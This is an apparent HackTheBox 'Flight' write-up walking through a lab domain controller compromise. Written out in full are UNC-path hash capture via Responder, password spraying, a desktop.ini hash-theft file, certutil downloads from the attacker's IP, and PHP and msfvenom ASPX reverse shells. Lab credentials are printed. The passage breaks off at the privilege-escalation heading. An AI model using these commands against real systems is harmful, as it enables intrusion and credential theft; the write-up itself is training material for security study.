Post

Flight - HackTheBox (Hard)

Summary

Flight from Hack The Box was a ‘hard’ rated Windows box that showcases a really well thought through attack path focusing on exploiting web and SMB misconfigurations, stealing password hashes and laterally moving across 4 users within Active Directory. The box involves getting creative to bypass an directory traversal filter using UNC paths to steal and crack the NTLMv2 hash of the user running the apache website process, spraying the password to find a different user’s credentials, performing a client-side attack to steal additional hashes via a desktop.ini file on an SMB share, uploading a PHP reverse shell to the web root accessible via SMB, port forwarding and uploading an ASPX reverse shell to an internal website and finally exploiting an IIS virtual machine account’s SeImpersonatePrivilege or TGT to privilege escalate to Administrator.

Initial recon

Port scanning

Running an nmap scan with default scripts -sC and versioning -sV shows us this box represents a domain controller, flight.htb, due to ports 53 (DNS), 88 (Kerberos) and 389,636,3268,3269 (LDAP/LDAPS) being open.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
┌──(kali㉿kali)-[~/Desktop] 
└─$ nmap -sCV -p- -T4 10.129.69.182             
Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-08 12:20 EST 
Nmap scan report for 10.129.69.182 
Host is up (0.11s latency). 
Not shown: 65517 filtered tcp ports (no-response) 
PORT      STATE SERVICE       VERSION 
53/tcp    open  domain        Simple DNS Plus 
80/tcp    open  http          Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1) 
|_http-title: g0 Aviation 
|_http-server-header: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1 
| http-methods:  
|_  Potentially risky methods: TRACE 
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2022-11-09 00:22:27Z) 
135/tcp   open  msrpc         Microsoft Windows RPC 
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn 
445/tcp   open  microsoft-ds? 
464/tcp   open  kpasswd5? 
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0 
636/tcp   open  tcpwrapped 
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name) 
3269/tcp  open  tcpwrapped 
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 
|_http-title: Not Found 
|_http-server-header: Microsoft-HTTPAPI/2.0 
9389/tcp  open  mc-nmf        .NET Message Framing 
49667/tcp open  msrpc         Microsoft Windows RPC 
49669/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0 
49670/tcp open  msrpc         Microsoft Windows RPC 
49688/tcp open  msrpc         Microsoft Windows RPC 
61495/tcp open  msrpc         Microsoft Windows RPC 
Service Info: Host: G0; OS: Windows; CPE: cpe:/o:microsoft:windows 
Host script results: 
|_clock-skew: 6h59m43s 
| smb2-time:  
|   date: 2022-11-09T00:23:21 
|_  start_date: N/A 
| smb2-security-mode:  
|   3.1.1:  
|_    Message signing enabled and required 
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . 
Nmap done: 1 IP address (1 host up) scanned in 213.42 seconds

With so many ports open on domain controllers, there’s a huge number of potential routes we could start to enumerate anonymously - e.g. LDAP, RPC, SMB. However, what’s most interesting is this domain controller is running an Apache web server on port 80 for some mad reason - please, please don’t run a website on your domain controllers even if it is internal!

Anyhow, after updating our /etc/hosts entry with the corresponding DNS names we can view the flight.htb site.

1
10.129.69.182 flight.htb 

image.png The site appears to represent an airline company, “g0 aviation”.

Subdomain discovery

Given the use of domain names, we can check for any subdomains hosted on the same IP using virtual host routing. We can do this by fuzzing with ffuf and a large list of common subdomains, filtering the responses by the number of lines (115) that respond differently than the home page.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(kali㉿kali)-[~/Desktop]
└─$ ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.flight.htb" -u http://flight.htb -fl 155

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://flight.htb
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.flight.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response lines: 155
________________________________________________

school                  [Status: 200, Size: 3996, Words: 1045, Lines: 91, Duration: 30ms]

image-2.png

This results is us finding a subdomain: school.flight.htb. After updating our /etc/hosts file to reflect this DNS name we can view the new site in our browser.

1
10.129.69.182 flight.htb school.flight.htb

image-3.png This appears to be the aviation school for the g0 company.

Vulnerable parameter discovery

When clicking on the Home, About Us or Blog navigation buttons we can identify an interesting ?view parameter in the URL that is being used to display each of the different pages. E.g. ?view=blog.html.

image-42.png

Parameters in the URL like this are always interesting, as there’s nothing stopping us modifying the URL parameter to try and force the website to display unintended content. Consulting this github repo displays the top 25 web parameters vulnerable to exploits such as LFI, SSRF and SQLi. If we look within the vulnerable LFI parameter list we see number 19 is ?view={payload}, which matches exactly what we have here.

Before confirming if the parameter is vulnerable LFI, we could first try to perform directory traversal to view the C:\Windows\System32\drivers\etc\hosts file through the ?view= parameter which should be readable by any user on the underlying Windows OS.

1
http://school.flight.htb/index.php?view=c:\windows\system32\drivers\etc\hosts

image-4.png

However, it seems the website has accounted for this with a filter that is blocking our exploitation attempts.

SSRF discovery

Before trying to bypass the filter I checked for SSRF, as ?view={target} is also present in the most vulnerable SSRF parameters. If SSRF was present, we would be able to view internal-only services running on the underlying OS through this parameter in the website. To check if SSRF is present, we can attempt to view the original domain flight.htb through the school.flight.htb subdomain.

1
http://school.flight.htb/index.php?view=http://127.0.0.1

image-5.png

We can see the original domain index page is displayed, meaning the parameter is vulnerable to SSRF!

One way to abuse this SSRF is to fuzz for any internal ports (0-9999 to save time) hosting any internal services using ffuf against the ?view= parameter, filtering a response size to determine any notable ports.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
┌──(kali㉿kali)-[~/Desktop]
└─$ ffuf -w /usr/share/wordlists/seclists/Fuzzing/4-digits-0000-9999.txt -u 'http://school.flight.htb/index.php?view=http://127.0.0.1:FUZZ' -fs 1102

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://school.flight.htb/index.php?view=http://127.0.0.1:FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Fuzzing/4-digits-0000-9999.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 1102
________________________________________________

0000                    [Status: 200, Size: 8171, Words: 1689, Lines: 185, Duration: 80ms]
0080                    [Status: 200, Size: 8171, Words: 1689, Lines: 185, Duration: 28ms]
8000                    [Status: 200, Size: 47051, Words: 27500, Lines: 789, Duration: 45ms]

We see that port 80 is highlighted (our current website) and more interesting also port 8000, which could be an internal website.

However, looking at this internal website on port 8000 and fuzzing for additional directories through the SSRF doesn’t reveal anything fruitful. It appears to be functionality to check availability for flight direction, but the CSS is a messed up due to viewing via SSRF.

1
http://school.flight.htb/index.php?view=http://127.0.0.1:8000

image-6.png

Although not immediately useful, we should remember this for later as this internal site could be used as a potential avenue for privilege escalation.

File disclosure discovery

Focusing back to the path traversal, we need to try and enumerate the filter that was blocking our initial exploitation. Through the ?view= parameter on index.php we can by default view the static html pages home.html, about.html and blog.html. But what if we try and ‘view’ the source of the dynamic index.php page, could we leak some of the PHP source to help us understand the filter?

Attempting to view index.php results in some information leakage, including PHP source code!

1
http://school.flight.htb/index.php?view=index.php

image-8.png

By inspecting the page source with CTRL+U we can actually view the source code of index.php and see this PHP source is simply displayed not executed, confirming this is just file disclosure vulnerability and not LFI. This source code interestingly shows us how the ?view= parameter filter works: image-9.png

The filter looks pretty solid against common LFI exploitation through against viewing other files with ..\, against PHP wrappers with filter, UNC paths with \\, htaccess files and .shtml files.

First user

Despite the filter at first glance looking secure, the developer actually missed a crucial part of the file_get_contents blacklist. When blacklisting against accessing UNC paths through the parameter with \\, they missed out by not explicitly blocking its counter part //. This is probably because the developer forgot that Windows allows both backslashes or forward slashes when resolving UNC paths, to ensure compatibility with different protocols.

As described here on HackTricks, if we host an SMB server that requires NTLM authentication and force the Windows machine to connect back and attempt to authenticate to it using the UNC path //10.10.14.16/reverse, we will capture the username and NTLMv2 password hash of the account running the Apache process on the underlying Windows system when it connects.

Hash capturing

One really easy way to host an SMB server that meets our authentication requirements is to start Responder. We can start it on our tun0 interface over the HTB VPN:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo responder -I tun0
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.3.0

  To support this project:
  Patreon -> https://www.patreon.com/PythonResponder
  Paypal  -> https://paypal.me/PythonResponder

  Author: Laurent Gaffie (laurent.gaffie@gmail.com)
  To kill this script hit CTRL-C


[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    MDNS                       [ON]
    DNS                        [ON]
    DHCP                       [OFF]

[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [OFF]
    Auth proxy                 [OFF]
    SMB server                 [ON]
    Kerberos server            [ON]
    SQL server                 [ON]
    FTP server                 [ON]
    IMAP server                [ON]
    POP3 server                [ON]
    SMTP server                [ON]
    DNS server                 [ON]
    LDAP server                [ON]
    RDP server                 [ON]
    DCE-RPC server             [ON]
    WinRM server               [ON]

[+] HTTP Options:
    Always serving EXE         [OFF]
    Serving EXE                [OFF]
    Serving HTML               [OFF]
    Upstream Proxy             [OFF]

[+] Poisoning Options:
    Analyze Mode               [OFF]
    Force WPAD auth            [OFF]
    Force Basic Auth           [OFF]
    Force LM downgrade         [OFF]
    Force ESS downgrade        [OFF]

[+] Generic Options:
    Responder NIC              [tun0]
    Responder IP               [10.10.16.44]
    Responder IPv6             [dead:beef:4::102a]
    Challenge set              [random]
    Don't Respond To Names     ['ISATAP']

[+] Current Session Variables:
    Responder Machine Name     [WIN-Q5QJBROHZSZ]
    Responder Domain Name      [0FTI.LOCAL]
    Responder DCE-RPC Port     [48705]

[+] Listening for events...                                     

Then force a connection back to our SMB server by visiting the URL http://school.flight.htb/index.php?view=//10.10.14.16/reverse. Upon doing this, we capture the NTLMv2 hash of the account running the Apache process!

image-10.png

Hash cracking

We can copy and paste this hash into a text file hash.txt and attempt to crack it using john the ripper and everyones favourite wordlist rockyou.txt:

1
2
3
4
5
6
7
8
9
10
┌──(kali㉿kali)-[/tmp] 
└─$ john -w=/usr/share/wordlists/rockyou.txt hash.txt             
Using default input encoding: UTF-8 
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4, HMAC-MD5 32/64]) 
Will run 4 OpenMP threads 
Press 'q' or Ctrl-C to abort, almost any other key for status 
S@Ss!K@*t13      (svc_apache)      
1g 0:00:00:06 DONE (2022-11-08 13:20) 0.1605g/s 1711Kp/s 1711Kc/s 1711KC/s SADTT..S4241033 
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably 
Session completed.

image-11.png

After a few seconds it cracks! So we now have credentials: svc_apache:S@Ss!K@*t13.

SMB enumeration

Lets see where this can get us - maybe we can list any SMB shares accessible by this user? We could use smbclient or my preference is using crackmapexec --shares, as it also displays the permissions the current user has on all of the shares (read/write) which is incredibly useful!

1
2
┌──(kali㉿kali)-[/tmp] 
└─$ crackmapexec smb 10.129.155.72 -u svc_apache -p 'S@Ss!K@*t13' --shares

image-16.png

We can successfully list all the shares on the DC! To summarise the listed shares:

  • ADMIN$ = default remote admin share
  • C$ = default remote drive share
  • IPC$ = default remote IPC share used for communicating via named pipes like authenticating via SMB
  • NETLOGON = default share on domain controllers to store things like logon scripts and group policy templates
  • Shared = a non-standard ‘share’ we should check out!
  • SYSVOL = default share on domain controllers to store things like group policy objects (GPOs)
  • Users = a non-standard share that could be a hosted version of c:\Users so we should check it out!
  • Web = a non-standard share we should check out!

Checking out the 3 interesting non-standard shares: Shared, Users, and Web:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
┌──(kali㉿kali)-[~/Desktop]
└─$ smbclient //Flight.htb/Shared -U svc_apache%'S@Ss!K@*t13'
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Fri Oct 28 16:21:28 2022
  ..                                  D        0  Fri Oct 28 16:21:28 2022

                5056511 blocks of size 4096. 1214821 blocks available
smb: \> exit
                                                                                         
┌──(kali㉿kali)-[~/Desktop]
└─$ smbclient //Flight.htb/Users -U svc_apache%'S@Ss!K@*t13'
Try "help" to get a list of possible commands.
smb: \> dir
  .                                  DR        0  Thu Sep 22 16:16:56 2022
  ..                                 DR        0  Thu Sep 22 16:16:56 2022
  .NET v4.5                           D        0  Thu Sep 22 15:28:03 2022
  .NET v4.5 Classic                   D        0  Thu Sep 22 15:28:02 2022
  Administrator                       D        0  Mon Oct 31 14:34:00 2022
  All Users                       DHSrn        0  Sat Sep 15 03:28:48 2018
  C.Bum                               D        0  Thu Sep 22 16:08:23 2022
  Default                           DHR        0  Tue Jul 20 15:20:24 2021
  Default User                    DHSrn        0  Sat Sep 15 03:28:48 2018
  desktop.ini                       AHS      174  Sat Sep 15 03:16:48 2018
  Public                             DR        0  Tue Jul 20 15:23:25 2021
  svc_apache                          D        0  Fri Oct 21 14:50:21 2022

                5056511 blocks of size 4096. 1214821 blocks available
smb: \> exit
                                                                                        
┌──(kali㉿kali)-[~/Desktop]
└─$ smbclient //Flight.htb/Web -U svc_apache%'S@Ss!K@*t13'
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Mon Apr  3 20:42:00 2023
  ..                                  D        0  Mon Apr  3 20:42:00 2023
  flight.htb                          D        0  Mon Apr  3 20:42:00 2023
  school.flight.htb                   D        0  Mon Apr  3 20:42:00 2023

                5056511 blocks of size 4096. 1214821 blocks available
smb: \> exit

image-13.png

After having a poke through them we can confirm the following:

  • Shared - appears to be empty. We should note this for checking out later.
  • Web - appears to be the web root of the both of the websites hosted on port 80. Using our read privileges, nothing interesting like credentials are found by reviewing the source code of the websites. However, hosting a Web root on a share is a very bad idea for developers as if we could gain write privileges in here, we could easily upload a PHP reverse shell to the website - something to remember for later!
  • Users - is hosted version of c:\Users. We can extract usernames and look around some of the users home directories, but no interesting files are found.

So to recap we have the credentials svc_apache:S@Ss!K@*t13, but we can’t find anything useful in SMB shares with these.

Second user

Password spraying

One of the most common pitfalls in AD environments is password reuse, so we could try and spray this password against other valid usernames. In the Users share we found C.Bum and Administrator, but there might be other users in the domain that just haven’t logged into the DC to get their home folder created. As we already have valid credentials for the svc_apache user, we can extract a list of all users in the domain with impacket’s GetADUsers.py.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(kali㉿kali)-[~/Desktop]
└─$ impacket-GetADUsers -all -dc-ip flight.htb flight.htb/svc_apache:'S@Ss!K@*t13' | cut -d " " -f 1 | grep -Ev 'Name|Impacket|\-\-|\['   
Administrator
Guest
krbtgt
S.Moon
R.Cold
G.Lors
L.Kein
M.Gold
C.Bum
W.Walker
I.Francis
D.Truff
V.Stevens
svc_apache
O.Possum

image-39.png

With a list of valid usernames, using crackmapexec we can spray the password S@Ss!K@*t13 against all other users and see if any logins are successful demonstrating password reuse is present. By default CME will exit after a successful login is found (which will happen during the spray for svc_apache), so we can use the --continue-on-success flag to continue checking against all other users.

1
2
┌──(kali㉿kali)-[~/Desktop] 
└─$ sudo crackmapexec smb 10.129.155.72 -u users.txt -p 'S@Ss!K@*t13' --continue-on-success

image-14.png

Scrolling through the output for successful logons presented by [+] we find a successful login for the S.Moon user with the same password S@Ss!K@*t13! As always with new credentials we could try for a quick win to login via something like WinRM if the user was in the Remote Management Users group, but this was not the case. Instead, we can check back to the three interesting SMB shares we found to see if this user has any additional permissions present.

Third user

More SMB enumeration

We can determine file permissions on the shares to see if we can write to any of them with our new S.Moon user once again with --shares:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
crackmapexec smb 10.129.155.72 -u S.Moon -p 'S@Ss!K@*t13' --shares
SMB         flight.htb      445    G0               [*] Windows 10.0 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB         flight.htb      445    G0               [+] flight.htb\S.Moon:S@Ss!K@*t13 
SMB         flight.htb      445    G0               [+] Enumerated shares
SMB         flight.htb      445    G0               Share           Permissions     Remark
SMB         flight.htb      445    G0               -----           -----------     ------
SMB         flight.htb      445    G0               ADMIN$                          Remote Admin
SMB         flight.htb      445    G0               C$                              Default share
SMB         flight.htb      445    G0               IPC$            READ            Remote IPC
SMB         flight.htb      445    G0               NETLOGON        READ            Logon server share 
SMB         flight.htb      445    G0               Shared          READ,WRITE      
SMB         flight.htb      445    G0               SYSVOL          READ            Logon server share 
SMB         flight.htb      445    G0               Users           READ            
SMB         flight.htb      445    G0               Web             READ            

Now we see we have an additional Write permission to the Shared SMB share! image-15.png

Remember we although we have write access to Shared, we saw earlier there is nothing in it. image-17.png

Client side attack

Maybe if the folder is named shared someone may look in it? This hints towards us attempting a client side attack. A common attack in Active Directory against writeable shares is dropping a malicious file in there to try and capture a users hash when they visit the file as outlined here. This can be done in a variety of ways such as maliciously crafted .scf, .url, .rtf, .lnk, autorun.inf or desktop.ini files. We can use Greenwolf’s ntlm_theft to automate creating these files.

1
2
3
4
5
┌──(kali㉿kali)-[~/Desktop] 
└─$ git clone https://github.com/Greenwolf/ntlm_theft; cd ntlm_theft

┌──(kali㉿kali)-[~/Desktop/ntlm_theft] 
└─$ python3 ntlm_theft.py -g all -s 10.10.14.16 -f test

When attempting to upload them all we see that the only successfully uploaded file was desktop.ini, indicating there is some sort of file extension restriction.

image-18.png

If any user browses to the Shared folder containing this file, they will attempt to resolve the network path specified in the IconResource field that we specified to point to our kali machine:

1
2
[.ShellClassInfo]
IconResource=\\10.10.14.16\aa

Therefore, we can start responder on our tun0 interface like before and wait to receive any hashes if anyone browses this share!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
┌──(kali㉿kali)-[~/Desktop] 
└─$ sudo responder -I tun0
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.3.0

  To support this project:
  Patreon -> https://www.patreon.com/PythonResponder
  Paypal  -> https://paypal.me/PythonResponder

  Author: Laurent Gaffie (laurent.gaffie@gmail.com)
  To kill this script hit CTRL-C


[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    MDNS                       [ON]
    DNS                        [ON]
    DHCP                       [OFF]

[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [OFF]
    Auth proxy                 [OFF]
    SMB server                 [ON]
    Kerberos server            [ON]
    SQL server                 [ON]
    FTP server                 [ON]
    IMAP server                [ON]
    POP3 server                [ON]
    SMTP server                [ON]
    DNS server                 [ON]
    LDAP server                [ON]
    RDP server                 [ON]
    DCE-RPC server             [ON]
    WinRM server               [ON]

[+] HTTP Options:
    Always serving EXE         [OFF]
    Serving EXE                [OFF]
    Serving HTML               [OFF]
    Upstream Proxy             [OFF]

[+] Poisoning Options:
    Analyze Mode               [OFF]
    Force WPAD auth            [OFF]
    Force Basic Auth           [OFF]
    Force LM downgrade         [OFF]
    Force ESS downgrade        [OFF]

[+] Generic Options:
    Responder NIC              [tun0]
    Responder IP               [10.10.16.44]
    Responder IPv6             [dead:beef:4::102a]
    Challenge set              [random]
    Don't Respond To Names     ['ISATAP']

[+] Current Session Variables:
    Responder Machine Name     [WIN-Q5QJBROHZSZ]
    Responder Domain Name      [0FTI.LOCAL]
    Responder DCE-RPC Port     [48705]

[+] Listening for events...   

After a few minutes we receive a NTLMv2 hash of a new user c.bum! image-20.png

Once again, we can try and crack this hash using the same method shown earlier:

1
2
3
4
5
6
7
8
9
10
┌──(kali㉿kali)-[/Desktop] 
└─$ john -w=/usr/share/wordlists/rockyou.txt hash.txt             
Using default input encoding: UTF-8 
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4, HMAC-MD5 32/64]) 
Will run 4 OpenMP threads 
Press 'q' or Ctrl-C to abort, almost any other key for status 
Tikkycoll_431012284 (c.bum)      
1g 0:00:00:03 DONE (2022-11-08 14:57) 0.2724g/s 2781Kp/s 2781Kc/s 2781KC/s TinyStuff13..Tiffannie 
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably 
Session completed.

image-21.png

The hash cracks, meaning we now have the credentials: c.bum:Tikkycoll_431012284

Even more SMB enumeration

Attempting to login via WinRM doesn’t work, so again no quick win here. As with previous users, lets again check smb share access to see if we now have permissions to upload a web shell to the web root:

1
2
┌──(kali㉿kali)-[~/Desktop] 
└─$ crackmapexec smb 10.129.155.72 -u c.bum -p 'Tikkycoll_431012284' --shares

image-22.png

We now have additional write access to the web root so we have full permission to upload whatever we like to the web root (including a reverse shell)!

Getting a reverse shell

We can upload a PHP reverse shell (as the web server runs Apache) to the flight.htb website. The go-to pentestmonkey PHP reverse shell wont help us here on Windows, as this only works on Unix systems. Back when I did the OSCP I found this alternative, an adaptation of pentestmonkey’s shell adapted for Windows systems, which works perfectly by just changing the IP address and port.

1
2
3
4
5
...
// change the host address and/or port number as necessary
$sh = new Shell('10.10.14.16', 443);
$sh->run();
...

We can then upload this to SMB via smbclient to be hosted on the flight.htb website.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(kali㉿kali)-[~/Desktop]
└─$ smbclient //flight.htb/Web -U c.bum%'Tikkycoll_431012284'       
Try "help" to get a list of possible commands.
smb: \> cd flight.htb
smb: \flight.htb\> put windows-php-reverse-shell.php 
putting file windows-php-reverse-shell.php as \flight.htb\windows-php-reverse-shell.php (23.4 kb/s) (average 23.4 kb/s)
smb: \flight.htb\> dir
  .                                   D        0  Tue Apr  4 20:08:00 2023
  ..                                  D        0  Tue Apr  4 20:08:00 2023
  css                                 D        0  Tue Apr  4 20:07:01 2023
  images                              D        0  Tue Apr  4 20:07:01 2023
  index.html                          A     7069  Thu Feb 24 00:58:10 2022
  js                                  D        0  Tue Apr  4 20:07:01 2023
  windows-php-reverse-shell.php       A     9302  Tue Apr  4 20:08:00 2023

                5056511 blocks of size 4096. 1244903 blocks available
smb: \flight.htb\> 

image-23.png

After uploading it we see our shell is hosted on the website! Luckily no AV was present, meaning our uploaded payload stays present ready to be executed. If we call our uploaded payload at http:/flight.htb/windows-php-reverse-shell.php, we gain a reverse shell in our netcat listener as svc_apache!

image-7.png

As we are in a reverse shell (no GUI), we can’t just open a new cmd prompt using the ‘run as a different user’ functionality, type in credentials we most recently obtained and become our c.bum user. One way to get around this is to use RunasCS in our netcat shell, which can be used “to run specific processes with different permissions than the user’s current logon provides using explicit credentials”.

We know c.bum credentials, so we can create another process as c.bum to call a reverse shell with these and gain a shell as him! We already know there is no AV running on the box so no need to worry about obfuscating RunasCS to get it round Defender.

1
2
c:\Windows\Tasks> certutil -urlcache -f http://10.10.14.16/RunasCs_net4.exe RunasCs_net4.exe
c:\Windows\Tasks> .\RunasCs_net4.exe c.bum Tikkycoll_431012284 cmd.exe -r 10.10.14.16:443

This results in a reverse shell as c.bum!

image-25.png

Fourth user

Internal website enumeration

Whilst enumerating groups, we see that c.bum is in an interesting flight\WebDevs group.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
c:\inetpub\development>whoami /groups
whoami /groups

GROUP INFORMATION
-----------------

Group Name                                 Type             SID                                            Attributes                                        
========================================== ================ ============================================== ==================================================
Everyone                                   Well-known group S-1-1-0                                        Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                              Alias            S-1-5-32-545                                   Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554                                   Group used for deny only                          
NT AUTHORITY\INTERACTIVE                   Well-known group S-1-5-4                                        Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                              Well-known group S-1-2-1                                        Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11                                       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15                                       Mandatory group, Enabled by default, Enabled group
flight\WebDevs                             Group            S-1-5-21-4078382237-1492182817-2568127209-1614 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication           Well-known group S-1-5-64-10                                    Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level     Label            S-1-16-8192                                                                                      

image-26.png

This suggests our c.bum user is a web developer, meaning it is likely they would have permission to modify any hosted websites on the DC. If we remember back to our SSRF enumeration, we found an internal website on port 8000 we believed may be used for privilege escalation.

If we take a look within c:\, we can see two web roots - the xampp is obviously where the Apache site on port 80 is hosted from, but also an inetpub site which is the default folder for Microsoft IIS websites. image-27.png

Taking a look inside c:\inetpub we see a development folder, explaining why the site is internal as it is being ‘developed’, and the contents of the internal website. image-30.png

We can verify the port 8000 we found with SSRF is open using netstat and is running with PID 4:

1
2
3
4
c:\> netstat -ano
...
  Proto  Local Address          Foreign Address        State           PID
  TCP    0.0.0.0:8000           0.0.0.0:0              LISTENING       4

image-28.png

We can confirm if this is an avenue for privilege escalation by enumerating the permissions this internal website is running as by querying the process running the site with tasklist.

1
2
3
4
c:\> tasklist /fi "pid eq 4"
Image Name                     PID Session Name        Session#    Mem Usage
========================= ======== ================ =========== ============
System                           4 Services                   0        132 K

image-29.png

We see this is being run by a system service account. By default, IIS uses the DefaultAppPool user to run the default website. By default this appool user has the SeImpersonatePrivilege to access resources and perform actions on behalf of the web application it is running, whilst still maintaining the security and isolation of the application pool. If we could get a reverse shell through a vulnerability in this IIS website it would be a quick win exploiting the SeImpersonatePrivilege to escalate to NT AUTHORITY\SYSTEM.

Port forwarding

To check out the internal website we can perform reverse port forwarding to access this internal website locally using chisel. We first download it with certutil:

1
c:\Windows\Tasks> certutil -urlcache -f http://10.10.14.16/chisel_1.7.7_windows_amd64 chisel.exe

Back on our kali box we then start the chisel server on port 53 and --reverse flag to specify reverse port forwarding.

1
2
3
4
5
┌──(kali㉿kali)-[~/Downloads]
└─$ ./chisel_1.7.7_linux_amd64 server --port 53 --reverse
2023/04/04 21:09:01 server: Reverse tunnelling enabled
2023/04/04 21:09:01 server: Fingerprint oa0/Ujm2JtHpLg93Ml9Mansvc3AYvmVaAuoBB48EXx8=
2023/04/04 21:09:01 server: Listening on http://0.0.0.0:53

We then connect to our chisel server with the client, forwarding localhost port 8000 on the windows machine to localhost port 8000 on our kali machine, which will communicate via an SSH-encrypted HTTP tunnel.

1
2
3
c:\Windows\Tasks> .\chisel.exe client -v 10.10.14.16:53 R:127.0.0.1:8000:127.0.0.1:8000
chisel.exe : 2023/04/04 21:09:15 client: Connecting to ws://10.10.14.16:53
2023/04/04 21:09:16 client: Connected (Latency 87.7782ms)

We can then view the internal site we initially saw through SSRF running as system when we navigate to http://127.0.0.1:8000! image-31.png

There are no obvious vulnerabilities that we can exploit to gain a reverse shell through this website. However, remember we are in WebDevs group so we should examine the folder permissions on the webroot using icacls, so see if as a web developer we can modify the web source.

image-44.png

We can see C.Bum has write (W) permissions into the web root, meaning we can write anything into the website, i.e. a reverse shell!

Reverse shell

Just like how Apache runs PHP code, IIS runs code in ASP/ASPX. Therefore, we can create an ASPX reverse shell payload and upload it into the web root, which we can easily do with msfvenom:

1
2
┌──(kali㉿kali)-[~/Desktop] 
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.16 LPORT=443 -f aspx -o shell.aspx

We can then download this into the c:\inetpub\development web root folder on the target machine! image-33.png

Then if we execute our reverse shell at http://127.0.0.1:8000/shell.aspx in our browser:

image-34.png

We receive a reverse shell as iis apppool\defaultapppool in our netcat listener!

image-32.png

Privesc

From this user there are two easy ways to escalate our privileges to Administrator / NT AUTHORITY\SYSTEM.

Privesc way #1 - JuicyPotatoNG

